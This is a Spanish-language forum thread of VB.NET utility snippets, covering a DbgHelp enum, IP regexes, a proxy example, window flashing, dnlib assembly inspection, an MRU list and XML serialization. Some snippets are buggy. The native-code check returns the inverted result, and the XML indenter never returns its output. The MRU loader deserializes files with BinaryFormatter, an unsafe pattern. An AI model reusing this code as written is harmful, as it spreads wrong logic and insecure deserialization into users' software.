''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms681366%28v=vs.85%29.aspx
''' </summary>
<Description("Enum used as 'SymOptions' parameter of 'SymSetOptions' function")>
<Flags>
Public Enum SymOptionFlags As Integer
''' <summary>
''' Enables the use of symbols that do not have an address.
''' By default, DbgHelp filters out symbols that do not have an address.
''' </summary>
ALLOW_ZERO_ADDRESS = &H1000000
''' <summary>
''' All symbol searches are insensitive to case.
''' </summary>
CASE_INSENSITIVE = &H1
''' <summary>
''' Pass debug output through OutputDebugString or the SymRegisterCallbackProc64 callback function.
''' </summary>
DEBUG = &H80000000
''' <summary>
''' Symbols are not loaded until a reference is made requiring the symbols be loaded.
''' This is the fastest, most efficient way to use the symbol handler.
''' </summary>
DEFERRED_LOADS = &H4
''' <summary>
''' Do not load an unmatched .pdb file.
''' Do not load export symbols if all else fails.
''' </summary>
EXACT_SYMBOLS = &H400
''' <summary>
''' Do not display system dialog boxes when there is a media failure such as no media in a drive.
''' Instead, the failure happens silently.
''' </summary>
FAIL_CRITICAL_ERRORS = &H200
''' <summary>
''' If there is both an uncompressed and a compressed file available, favor the compressed file.
''' This option is good for slow connections.
''' </summary>
FAVOR_COMPRESSED = &H800000
''' <summary>
''' Ignore path information in the CodeView record of the image header when loading a .pdb file.
''' </summary>
IGNORE_CVREC = &H80
''' <summary>
''' When debugging on 64-bit Windows, include any 32-bit modules.
''' </summary>
INCLUDE_32BIT_MODULES = &H2000
''' <summary>
''' Disable checks to ensure a file (.exe, .dbg., or .pdb) is the correct file.
''' Instead, load the first file located.
''' </summary>
LOAD_ANYTHING = &H40
''' <summary>
''' Loads line number information.
''' </summary>
LOAD_LINES = &H10
''' <summary>
''' All C++ decorated symbols containing the symbol separator "::" are replaced by "__".
''' This option exists for debuggers that cannot handle parsing real C++ symbol names.
''' </summary>
NO_CPP = &H8
''' <summary>
''' Prevents prompting for validation from the symbol server.
''' </summary>
NO_PROMPTS = &H80000
''' <summary>
''' Prevents symbols from being loaded when the caller examines symbols across multiple modules.
''' Examine only the module whose symbols have already been loaded.
''' </summary>
NO_UNQUALIFIED_LOADS = &H100
''' <summary>
''' DbgHelp will not load any symbol server other than SymSrv. SymSrv will not use the downstream store specified in _NT_SYMBOL_PATH. After this flag has been set, it cannot be cleared.
''' DbgHelp 6.0 and 6.1: This flag can be cleared.
''' DbgHelp 5.1: This value is not supported.
''' </summary>
SECURE = &H40000
''' <summary>
''' All symbols are presented in undecorated form.
''' This option has no effect on global or local symbols because they are stored undecorated.
''' This option applies only to public symbols.
''' </summary>
UNDNAME = &H2
End Enum
#End Region
#Region " Delegates "
''' <summary>
''' An application-defined callback function used with the 'SymEnumSymbols', 'SymEnumTypes', and 'SymEnumTypesByName' functions.
''' </summary>
''' <param name="pSymInfo">
''' A pointer to a 'SYMBOL_INFO' structure that provides information about the symbol.
''' </param>
''' <param name="SymbolSize">
''' The size of the symbol, in bytes.
''' The size is calculated and is actually a guess.
''' In some cases, this value can be zero.
''' </param>
''' <param name="UserContext">
''' The user-defined value passed from the 'SymEnumSymbols' or 'SymEnumTypes' function, or NULL.
''' This parameter is typically used by an application to pass a pointer to a data structure
''' that provides context information for the callback function.</param>
''' <returns>
''' If the function returns <c>true</c>, the enumeration will continue.
''' If the function returns <c>false</c>, the enumeration will stop.
''' </returns>
Friend Delegate Function SymEnumSymbolsProc(
ByVal pSymInfo As IntPtr,
ByVal SymbolSize As UInteger,
ByVal UserContext As IntPtr
) As Boolean
#End Region
End Class
Como convertir una expresión de un valor Hexadecimal al tipo de expresión que se usa en VB.NET:
Nota: Esta es una forma más eficiente que la que posteé hace mucho tiempo.
' Hex To VBHex
' By Elektro
'
' Usage Examples:
'
' MsgBox(HexToVBHex("FF4")) ' Result: &HFF4
' MsgBox(HexToVBHex("0xFF4")) ' Result: &HFF4
' Dim Value As Integer = CInt(HexToVBHex("0xFF4")) ' Result: 4084
'
''' <summary>
''' Converts an Hexadecimal value to VisualBasic Hexadecimal syntax.
''' </summary>
''' <param name="Value">The Hexadecimal value as String.</param>
''' <returns>System.String.</returns>
Public Function HexToVBHex(ByVal Value As String) As String
If (String.IsNullOrEmpty(Value) Or String.IsNullOrWhiteSpace(Value)) Then
Throw New ArgumentNullException(Value)
End If
Return String.Format("&H{0}", Value.
TrimStart({"0"c, "x"c, "X"c, " "c, ControlChars.NullChar}).
TrimEnd({" "c, ControlChars.NullChar}))
End Function
Como obtener una cadena de texto aleatoria ...dado un set de caracteres, con la posibilidad de randomizar también el String-Case (upper-case/lower-case) de cada letra.
Dim Randomizer As New Random
' Get Random String
' // By Elektro
'
' Usage Examples :
' MsgBox(GetRandomString("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", 10))
' MsgBox(GetRandomString("abcdefghijklmnopqrstuvwxyz", 10, RandomizeCase:=True))
'
''' <summary>
''' Gets a random string.
''' </summary>
''' <param name="CharacterSet">Indicates the characters to randomize.</param>
''' <param name="StringLength">Indicates the resulting string length.</param>
''' <param name="RandomizeCase">If set to <c>true</c>, lower-case and upper-case are randomized.</param>
''' <returns>System.String.</returns>
''' <exception cref="System.Exception">
''' CharacterSet is empty.
''' or
''' String-Length must be greater than 0.
''' </exception>
Private Function GetRandomString(ByVal CharacterSet As Char(),
ByVal StringLength As Integer,
Optional ByVal RandomizeCase As Boolean = False) As String
Select Case CharacterSet.Count
Case Is = 0
Throw New Exception("CharacterSet is empty.")
Case Is = 1
Return New String(CharacterSet.First, Math.Abs(StringLength))
Case Else
Select Case StringLength
Case Is < 1
Throw New Exception("String-Length must be greater than 0.")
Case Else
Dim CharSetLength As Integer = CharacterSet.Length
Dim CharSB As New System.Text.StringBuilder
Do Until CharSB.Length = StringLength
If Not RandomizeCase Then
CharSB.Append(CharacterSet(Randomizer.Next(0, CharSetLength)))
Else
Select Case Randomizer.Next(0, 2)
Case 0 ' Lower-Case
CharSB.Append(Char.ToLower(CharacterSet(Randomizer.Next(0, CharSetLength))))
Case 1 ' Upper-Case
CharSB.Append(Char.ToUpper(CharacterSet(Randomizer.Next(0, CharSetLength))))
End Select
End If '/ Not RandomizeCase
Loop '/ CharSB.Length = StringLength
Return CharSB.ToString
End Select '/ StringLength
End Select '/ CharacterSet.Count
End Function
Una expresión regular para obtener las Ipv4 de un String:
' RegEx-Match IPv4
' By Elektro
'
' expression taken from: http://stackoverflow.com/questions/53497/regular-expression-that-matches-valid-ipv6-addresses
'
' Usage Examples :
' Dim Addresses As String = "127.0.0.1 | 192.17.200.13 | 255.255.255.255 | 999.999.999.999"
' Dim Matches As System.Text.RegularExpressions.MatchCollection = RegExMatch_IPv4(Addresses)
' For Each m As System.Text.RegularExpressions.Match In Matches
' MessageBox.Show(m.Value)
' Next
'
''' <summary>
''' Matches the IPv4 addresses contained in a String, using Regular Expressions.
''' </summary>
''' <param name="str">The string.</param>
''' <param name="options">The RegEx options.</param>
''' <returns>System.Text.RegularExpressions.MatchCollection.</returns>
Private Function RegExMatch_IPv4(ByVal str As String,
Optional ByVal options As System.Text.RegularExpressions.RegexOptions =
System.Text.RegularExpressions.RegexOptions.None
) As System.Text.RegularExpressions.MatchCollection
' Match criteria:
'
' ([0-255].[0-255].[0-255].[0-255])
Dim Pattern As String =
<a><![CDATA[((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])]]></a>.Value
Return New System.Text.RegularExpressions.Regex(Pattern).Matches(str)
End Function
Una expresión regular para obtener las Ipv6 de un String:
Nota: La expresión da fallos con ip's comprimidas como por ejemplo esta: fec0:fff::1
por lo demás todo bien.
' RegEx-Match IPv6
' By Elektro
'
' expression taken from: http://stackoverflow.com/questions/53497/regular-expression-that-matches-valid-ipv6-addresses
'
' Usage Examples :
' Dim Addresses As String = "FE80:0000:0000:0000:0202:B3FF:FE1E:8329 | FEC0:FFFF:0000:0000:0000:0000:0000:1"
' Dim Matches As System.Text.RegularExpressions.MatchCollection = RegExMatch_IPv6(Addresses)
' For Each m As System.Text.RegularExpressions.Match In Matches
' MessageBox.Show(m.Value)
' Next
'
''' <summary>
''' Matches the IPv6 addresses (full or compressed) contained in a String, using Regular Expressions.
''' </summary>
''' <param name="str">The string.</param>
''' <param name="options">The RegEx options.</param>
''' <returns>System.Text.RegularExpressions.MatchCollection.</returns>
Private Function RegExMatch_IPv6(ByVal str As String,
Optional ByVal options As System.Text.RegularExpressions.RegexOptions =
System.Text.RegularExpressions.RegexOptions.None
) As System.Text.RegularExpressions.MatchCollection
Dim Pattern As String =
<a><![CDATA[(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))]]></a>.Value
Return New System.Text.RegularExpressions.Regex(Pattern).Matches(str)
End Function
Ejemplo de como usar un Proxy:
Dim Request As Net.HttpWebRequest = Net.HttpWebRequest.Create("http://whatismyipaddress.com/")
With Request
.Proxy = New Net.WebProxy(Host:="93.115.8.229", Port:=7808)
End With
Using StrReader As New IO.StreamReader(Request.GetResponse().GetResponseStream)
Dim IPRegEx As New System.Text.RegularExpressions.Regex("(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)")
Dim IPValue As String = IPRegEx.Match(StrReader.ReadToEnd).Value
MessageBox.Show(String.Format("Your IP Adress is: {0}", IPValue))
End Using
Hace parpadear la ventana o el botón de la barra de tareas de un proceso
' ***********************************************************************
' Author : Elektro
' Last Modified On : 08-03-2014
' ***********************************************************************
' <copyright file="WindowFlasher.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
''Flash the Button TaskBar until the window becomes active.
'WindowFlasher.Flash(Me.Handle, WindowFlasher.FlashFlags.TaskBar Or WindowFlasher.FlashFlags.Until_Foreground)
''Flash the Caption and the Button TaskBar until the "Stop" flag is set.
'WindowFlasher.Flash(Me.Handle, WindowFlasher.FlashFlags.All Or WindowFlasher.FlashFlags.Until_Stop)
''Set the "Stop" flag, to stop flashing.
'WindowFlasher.Flash(Me.Handle, WindowFlasher.FlashFlags.Stop)
#End Region
#Region " Imports "
Imports System.ComponentModel
Imports System.Runtime.InteropServices
#End Region
''' <summary>
''' Flashes a Window and/or it's button in the TaskBar.
''' </summary>
Public Class WindowFlasher
#Region " P/Invoke "
''' <summary>
''' Contains Native Windows API Methods.
''' </summary>
Friend Class NativeMethods
#Region " Methods "
''' <summary>
''' Flashes the specified window.
''' It does not change the active state of the window.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms679347%28v=vs.85%29.aspx
''' </summary>
''' <param name="pwfi">A pointer to a FLASHWINFO structure.</param>
''' <returns>
''' The return value specifies the window's state before the call to the FlashWindowEx function.
''' If the window caption was drawn as active before the call, the return value is nonzero.
''' Otherwise, the return value is zero.
''' </returns>
<DllImport("user32.dll")>
Friend Shared Function FlashWindowEx(
ByRef pwfi As FLASHWINFO
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
#End Region
#Region " Structures "
''' <summary>
''' Contains the flash status for a window and the number of times the system should flash the window.
''' For more info see here:
''' http://msdn.microsoft.com/en-us/library/windows/desktop/ms679348%28v=vs.85%29.aspx
''' </summary>
<StructLayout(LayoutKind.Sequential)>
Friend Structure FLASHWINFO
''' <summary>
''' The size of the structure, in bytes.
''' </summary>
Friend cbSize As UInteger
''' <summary>
''' A handle to the window to be flashed.
''' The window can be either opened or minimized.
''' </summary>
Friend hwnd As IntPtr
''' <summary>
''' The flash status.
''' </summary>
Friend dwFlags As FlashFlags
''' <summary>
''' The number of times to flash the window.
''' </summary>
Friend uCount As UInteger
''' <summary>
''' The rate at which the window is to be flashed, in milliseconds.
''' If dwTimeout is zero, the function uses the default cursor blink rate.
''' </summary>
Friend dwTimeout As UInteger
End Structure
#End Region
End Class
#End Region
#Region " Enumerations "
''' <summary>
''' Contains the flash status for a window.
''' </summary>
<Description("Enum used as 'FlashFlags' parameter in 'FlashWindow' function.")>
<Flags>
Public Enum FlashFlags As Integer
''' <summary>
''' Stop flashing.
''' The system restores the window to its original state.
''' </summary>
[Stop] = 0I
''' <summary>
''' Flash the window caption.
''' </summary>
Caption = 1I
''' <summary>
''' Flash the taskbar button.
''' </summary>
TaskBar = 2I
''' <summary>
''' Flash both the window caption and taskbar button.
''' This is equivalent to setting the 'Caption Or TaskBar' flags.
''' </summary>
All = 3I
''' <summary>
''' Flash continuously, until the 'Stop' flag is set.
''' </summary>
Until_Stop = 4I
''' <summary>
''' Flash continuously until the window comes to the foreground.
''' </summary>
Until_Foreground = 12I
End Enum
#End Region
#Region " Public Methods "
''' <summary>
''' Flashes the specified window.
''' It does not change the active state of the window.
''' </summary>
''' <param name="Handle">
''' Indicates the handle to the window to flash.
''' </param>
''' <param name="FlashFlags">
''' Indicates the flash flags.
''' </param>
''' <param name="FlashCount">
''' Indicates the number of times to flash the window.
''' </param>
''' <param name="FlashDelay">
''' Indicates the rate at which the window is to be flashed, in milliseconds.
''' If dwTimeout is zero, the function uses the default cursor blink rate.
''' </param>
''' <returns>
''' The return value specifies the window's state before the call to the FlashWindowEx function.
''' If the window caption was drawn as active before the call, the return value is nonzero.
''' Otherwise, the return value is zero.
''' </returns>
Public Shared Function Flash(ByVal [Handle] As IntPtr,
ByVal FlashFlags As FlashFlags,
Optional ByVal FlashCount As UInteger = UInteger.MaxValue,
Optional ByVal FlashDelay As UInteger = 0UI) As Boolean
Dim fInfo As New NativeMethods.FLASHWINFO()
With fInfo
.cbSize = Convert.ToUInt32(Marshal.SizeOf(fInfo))
.hwnd = [Handle]
.dwFlags = FlashFlags
.uCount = FlashCount
.dwTimeout = FlashDelay
End With
Return NativeMethods.FlashWindowEx(fInfo)
End Function
#End Region
End Class
Ejemplos de uso de la librería dnlib (de4dot): https://github.com/0xd4d/dnlib
Aunque de momento es una Class muy básica, pues dnlib es muy extenso pero con documentación muy escasa.
' ***********************************************************************
' Author : Elektro
' Last Modified On : 08-03-2014
' ***********************************************************************
' <copyright file="dnlibHelper.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Private Sub Test() Handles MyBase.Shown
'
' Dim Assembly As ModuleDefMD =
' dnlibHelper.LoadAssembly("C:\Application.exe")
'
' Dim FrameworkVersion As String =
' dnlibHelper.GetRuntimeVersion(Assembly)
'
' Dim IsNativeCoded As Boolean =
' dnlibHelper.AssemblyHasNativeCode(Assembly)
'
' Dim Methods As List(Of MethodDef) =
' dnlibHelper.GetMethods(Assembly, "Main") ' Searchs a Class named "Main"
'
' For Each Method As MethodDef In Methods
'
' ' If method contains instructions then...
' If Method.HasBody Then
'
' Dim sb As New System.Text.StringBuilder
' With sb
' .AppendLine(String.Format("Method Name: {0}", Method.Name))
' .AppendLine()
' .AppendLine(String.Format("Method Signature: {0}", Method.Signature.ToString))
' .AppendLine()
' .AppendLine(String.Format("Method Instructions: {0}", Environment.NewLine &
' String.Join(Environment.NewLine, Method.Body.Instructions)))
' End With
'
' MessageBox.Show(sb.ToString)
'
' End If ' method.HasBody
'
' Next Method
'
'End Sub
#End Region
#Region " Imports "
Imports dnlib.DotNet
Imports dnlib.DotNet.Emit
#End Region
''' <summary>
''' Class dnlibHelper. This class cannot be inherited.
''' </summary>
Public NotInheritable Class dnlibHelper
''' <summary>
''' Loads an Assembly into a ModuleDefMD instance.
''' </summary>
''' <param name="Assembly">The assembly filepath.</param>
''' <returns>ModuleDefMD.</returns>
Public Shared Function LoadAssembly(ByVal Assembly As String) As ModuleDefMD
Return ModuleDefMD.Load(Assembly)
End Function
''' <summary>
''' Determines whether a .Net Assembly has native code (C++/CLI).
''' </summary>
''' <param name="Assembly">The Assembly.</param>
''' <returns><c>true</c> if Assembly contains native code; otherwise, <c>false</c>.</returns>
Public Shared Function AssemblyHasNativeCode(ByVal Assembly As ModuleDef) As Boolean
If Assembly.IsILOnly Then
' This assembly has only IL code, and no native code (for example it's a C# or VB.NET assembly)
Return True
Else
' This assembly has native code (for example it's C++/CLI)
Return False
End If
End Function
''' <summary>
''' Determines whether a .Net Assembly has native code (C++/CLI).
''' </summary>
''' <param name="Assembly">The Assembly filepath.</param>
''' <returns><c>true</c> if Assembly contains native code; otherwise, <c>false</c>.</returns>
Public Shared Function AssemblyHasNativeCode(ByVal Assembly As String) As Boolean
Using ass As ModuleDefMD = ModuleDefMD.Load(Assembly)
Return AssemblyHasNativeCode(ass)
End Using
End Function
''' <summary>
''' Gets the .Net Framework runtime version of a .Net assembly.
''' </summary>
''' <param name="Assembly">The assembly.</param>
''' <returns>System.String.</returns>
Public Shared Function GetRuntimeVersion(ByVal Assembly As ModuleDefMD) As String
Return Assembly.RuntimeVersion
End Function
''' <summary>
''' Gets the .Net Framework runtime version of a .Net assembly.
''' </summary>
''' <param name="Assembly">The assembly filepath.</param>
''' <returns>System.String.</returns>
Public Shared Function GetRuntimeVersion(ByVal Assembly As String) As String
Using ass As ModuleDefMD = ModuleDefMD.Load(Assembly)
Return GetRuntimeVersion(ass)
End Using
End Function
''' <summary>
''' Gets all the Types defined (including nested Types) inside a .Net assembly.
''' </summary>
''' <param name="Assembly">The assembly.</param>
''' <returns>TypeDef().</returns>
Public Shared Function GetTypes(ByVal Assembly As ModuleDefMD) As List(Of TypeDef)
Return Assembly.GetTypes.ToList
End Function
''' <summary>
''' Gets all the Methods defined in a existing Type inside a .Net assembly.
''' </summary>
''' <param name="Assembly">The assembly.</param>
''' <param name="TypeName">Name of the type to find.</param>
''' <returns>MethodDef().</returns>
Public Shared Function GetMethods(ByVal Assembly As ModuleDefMD,
ByVal TypeName As String) As List(Of MethodDef)
Dim methods As List(Of MethodDef) = Nothing
For Each t As TypeDef In Assembly.GetTypes
If t.HasMethods AndAlso t.Name.String.Equals(TypeName, StringComparison.OrdinalIgnoreCase) Then
methods = t.Methods.ToList
Exit For
End If
Next t
Return methods
End Function
End Class
Cita de: ivancea96 en 3 Agosto 2014, 17:33 PMYa van 30 páginas xD
Pues vamos a por las 300 :)
(triplicando mis espectativas xD)
Saludos!
Una Class para ayudar a implementar una lista MRU (MostRecentUsed)
( La parte gráfica sobre como implementar los items en un menú no la voy a explicar, al menos en esta publicación )
(http://i.imgur.com/Vxy2Rk7.jpg)
(http://i.imgur.com/NSJdeiT.jpg)
' ***********************************************************************
' Author : Elektro
' Last Modified On : 08-04-2014
' ***********************************************************************
' <copyright file="MRU.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Public Class Form1
'
' ' Initialize a new List of MostRecentUsed-Item
' Dim MRUList As New List(Of MRU.Item)
'
' Private Sub Test() Handles MyBase.Shown
'
' ' Add some items into the collection.
' With MRUList
' .Add(New MRU.Item("C:\File1.ext"))
' .Add(New MRU.Item("C:\File2.ext") With {.Date = Date.Today,
' .Icon = Bitmap.FromFile("C:\Image.ico"),
' .Tag = Nothing})
' End With
'
' ' Save the MRUItem collection to local file.
' MRU.IO.Save(MRUList, ".\MRU.tmp")
'
' ' Load the saved collection from local file.
' For Each MRUItem As MRU.Item In MRU.IO.Load(Of List(Of MRU.Item))(".\MRU.tmp")
' MessageBox.Show(MRUItem.FilePath)
' Next MRUItem
'
' ' Just another way to load the collection:
' MRU.IO.Load(MRUList, ".\MRU.tmp")
'
' End Sub
'
'End Class
#End Region
#Region " MostRecentUsed "
''' <summary>
''' Class MRU (MostRecentUsed).
''' Administrates the usage of a MRU item collection.
''' </summary>
Public Class MRU
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="MRU"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Types "
#Region "IO"
''' <summary>
''' Performs IO operations with a <see cref="MRU.Item"/> Collection.
''' </summary>
Public Class [IO]
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="MRU.IO"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Saves the specified MRU List to local file, using binary serialization.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="MRUItemCollection">The <see cref="MRU.Item"/> Collection.</param>
''' <param name="filepath">The filepath to save the <see cref="MRU.Item"/> Collection.</param>
Public Shared Sub Save(Of T)(ByVal MRUItemCollection As T,
ByVal filepath As String)
Dim Serializer = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
' Serialization.
Using Writer As New System.IO.FileStream(filepath, System.IO.FileMode.Create)
Serializer.Serialize(Writer, MRUItemCollection)
End Using ' Writer
End Sub
''' <summary>
''' Loads the specified <see cref="MRU.Item"/> Collection from a local file, using binary deserialization.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="MRUItemCollection">The ByRefered <see cref="MRU.Item"/> collection.</param>
''' <param name="filepath">The filepath to load its <see cref="MRU.Item"/> Collection.</param>
Public Shared Sub Load(Of T)(ByRef MRUItemCollection As T,
ByVal filepath As String)
Dim Serializer = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
' Deserialization.
Using Reader As New System.IO.FileStream(filepath, System.IO.FileMode.Open)
MRUItemCollection = Serializer.Deserialize(Reader)
End Using ' Reader
End Sub
''' <summary>
''' Loads the specified <see cref="MRU.Item"/> Collection from a local file, using the specified deserialization.
''' </summary>
''' <typeparam name="T"></typeparam>
''' <param name="filepath">The filepath to load its <see cref="MRU.Item"/> Collection.</param>
Public Shared Function Load(Of T)(ByVal filepath As String) As T
Dim Serializer = New System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
' Deserialization.
Using Reader As New System.IO.FileStream(filepath, System.IO.FileMode.Open)
Return Serializer.Deserialize(Reader)
End Using ' Reader
End Function
#End Region
End Class
#End Region
#Region " Item "
''' <summary>
''' An Item for a MostRecentUsed-Item collection that stores the item filepath and optionally additional info.
''' This Class can be serialized.
''' </summary>
<Serializable()>
Public Class Item
#Region " Constructors "
''' <summary>
''' Prevents a default instance of the <see cref="MRU.Item"/> class from being created.
''' </summary>
Private Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="MRU.Item"/> class.
''' </summary>
''' <param name="FilePath">The item filepath.</param>
''' <exception cref="System.ArgumentNullException">FilePath</exception>
Public Sub New(ByVal FilePath As String)
If FilePath Is Nothing Then
Throw New ArgumentNullException("FilePath")
End If
Me._FilePath = FilePath
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="MRU.Item"/> class.
''' </summary>
''' <param name="File">The fileinfo object.</param>
Public Sub New(ByVal File As System.IO.FileInfo)
Me.New(File.FullName)
End Sub
#End Region
#Region " Properties "
''' <summary>
''' Gets the item filepath.
''' </summary>
''' <value>The file path.</value>
Public ReadOnly Property FilePath As String
Get
Return Me._FilePath
End Get
End Property
Private _FilePath As String = String.Empty
''' <summary>
''' Gets the FileInfo object of the item.
''' </summary>
''' <value>The FileInfo object.</value>
Public ReadOnly Property FileInfo As System.IO.FileInfo
Get
Return New System.IO.FileInfo(FilePath)
End Get
End Property
''' <summary>
''' (Optionally) Gets or sets the item last-time open date.
''' </summary>
''' <value>The index.</value>
Public Property [Date] As Date
''' <summary>
''' (Optionally) Gets or sets the item icon.
''' </summary>
''' <value>The icon.</value>
Public Property Icon As Bitmap
''' <summary>
''' (Optionally) Gets or sets the item tag.
''' </summary>
''' <value>The tag object.</value>
Public Property Tag As Object
#End Region
End Class
#End Region
#End Region
End Class
#End Region
Ejemplos de uso de la librería nDDE (https://ndde.codeplex.com/)para controlar un navegador compatible (aunque la verdad, DDE es muy limitado ...por no decir obsoleto, es preferible echar mano de UI Automation (http://msdn.microsoft.com/en-us/library/ms747327%28v=vs.110%29.aspx)).
Nota: Aquí teneis algunos ServiceNames y Topics de DDE para IExplore por si alguien está interesado en esta librería: support.microsoft.com/kb/160957 (http://support.microsoft.com/kb/160957)
He probado el tópico "WWW_Exit" por curiosidad y funciona, pero ninguno de ellos funciona en Firefox (solo los que añadi a la Class de abajo).
' nDDE Helper
' By Elektro
'
' Instructions:
' 1. Add a reference to 'NDDE.dll' library.
'
' Usage Examples:
' MessageBox.Show(GetFirefoxUrl())
' NavigateFirefox(New Uri("http://www.mozilla.org"), OpenInNewwindow:=False)
''' <summary>
''' Gets the url of the active Tab-page from a running Firefox process.
''' </summary>
''' <returns>The url of the active Tab-page.</returns>
Public Function GetFirefoxUrl() As String
Using dde As New DdeClient("Firefox", "WWW_GetWindowInfo")
dde.Connect()
Dim Url As String =
dde.Request("URL", Integer.MaxValue).
Trim({ControlChars.NullChar, ControlChars.Quote, ","c})
dde.Disconnect()
Return Url
End Using
End Function
''' <summary>
''' Navigates to an URL in the running Firefox process.
''' </summary>
''' <param name="url">Indicates the URL to navigate.</param>
''' <param name="OpenInNewwindow">
''' If set to <c>true</c> the url opens in a new Firefox window, otherwise, the url opens in a new Tab.
''' </param>
Public Sub NavigateFirefox(ByVal url As Uri,
ByVal OpenInNewwindow As Boolean)
Dim Address As String = url.AbsoluteUri
If OpenInNewwindow Then
Address &= ",,0"
End If
Using dde As New DdeClient("Firefox", "WWW_OpenURL")
dde.Connect()
dde.Request(Address, Integer.MaxValue)
dde.Disconnect()
End Using
End Sub
Muy buenas, después de estar bastante tiempo sin subir nada aquí tengo una cosita interesante :P
Creo que algunas de estas utilidades están ya presentes dentro de lo que es la super colección de Elektro, pero bueno supongo que un indentador XML nunca se ha visto por aquí así que aquí va:
Imports System.IO
Imports System.Xml
Imports System.Xml.Serialization
Public Class XMLTools
Public Shared Function Serialize(Of T)(value As T, Optional ByVal indented As Boolean = False) As String
If value Is Nothing Then
Throw New Exception("XMLSerializer - The value passed is null!")
Return ""
End If
Try
Dim xmlserializer As New XmlSerializer(GetType(T))
Dim serializeXml As String = ""
Using stringWriter As New StringWriter()
Using writer As XmlWriter = XmlWriter.Create(stringWriter)
xmlserializer.Serialize(writer, value)
serializeXml = stringWriter.ToString()
End Using
If indented Then
serializeXml = Beautify(serializeXml)
End If
End Using
Return serializeXml
Catch ex As Exception
Throw New Exception(ex.Message)
Return ""
End Try
End Function
Public Shared Function Deserialize(Of T)(value As String) As T
Try
Dim returnvalue As New Object()
Dim xmlserializer As New XmlSerializer(GetType(T))
Dim reader As TextReader = New StringReader(value)
returnvalue = xmlserializer.Deserialize(reader)
reader.Close()
Return DirectCast(returnvalue, T)
Catch ex As Exception
Throw New Exception(ex.Message)
Return Nothing
End Try
End Function
Public Shared Sub SerializeToFile(Of T)(value As T, filePath As String, Optional ByVal indented As Boolean = False)
If value Is Nothing Then
Throw New Exception("XMLSerializer - The value passed is null!")
End If
Try
Dim xmlserializer As New XmlSerializer(GetType(T))
Using fileWriter As StreamWriter = New StreamWriter(filePath)
If indented Then
Using stringWriter As New StringWriter()
Using writer As XmlWriter = XmlWriter.Create(stringWriter)
xmlserializer.Serialize(writer, value)
fileWriter.WriteLine(Beautify(stringWriter.ToString()))
End Using
End Using
Else
Using writer As XmlWriter = XmlWriter.Create(fileWriter)
xmlserializer.Serialize(writer, value)
End Using
End If
End Using
Catch ex As Exception
Throw New Exception(ex.Message)
End Try
End Sub
Public Shared Function DeserializeFromFile(Of T)(filePath As String) As T
Try
Dim returnvalue As New Object()
Dim xmlserializer As New XmlSerializer(GetType(T))
Using reader As TextReader = New StreamReader(filePath)
returnvalue = xmlserializer.Deserialize(reader)
End Using
Return DirectCast(returnvalue, T)
Catch ex As Exception
Throw New Exception(ex.Message)
Return Nothing
End Try
End Function
Public Shared Function Beautify(obj As Object) As String
Dim doc As New XmlDocument()
If obj.[GetType]() Is GetType(String) Then
If Not [String].IsNullOrEmpty(DirectCast(obj, String)) Then
Try
doc.LoadXml(DirectCast(obj, String))
Catch ex As Exception
Throw New Exception("XMLIndenter - Wrong string format! [" + ex.Message & "]")
Return ""
End Try
Else
Throw New Exception("XMLIndenter - String is null!")
Return ""
End If
ElseIf obj.[GetType]() Is GetType(XmlDocument) Then
doc = DirectCast(obj, XmlDocument)
Else
Throw New Exception("XMLIndenter - Not supported type!")
Return ""
End If
Dim returnValue As String = ""
Using w As New MemoryStream()
Using writer As New XmlTextWriter(w, Encoding.Unicode)
writer.Formatting = Formatting.Indented
doc.WriteContentTo(writer)
writer.Flush()
w.Seek(0L, SeekOrigin.Begin)
Using reader As New StreamReader(w)
returnValue = reader.ReadToEnd()
End Using
End Using
End Using
End Function
End Class
Un saludo.
Cita de: Ikillnukes en 8 Agosto 2014, 17:11 PM
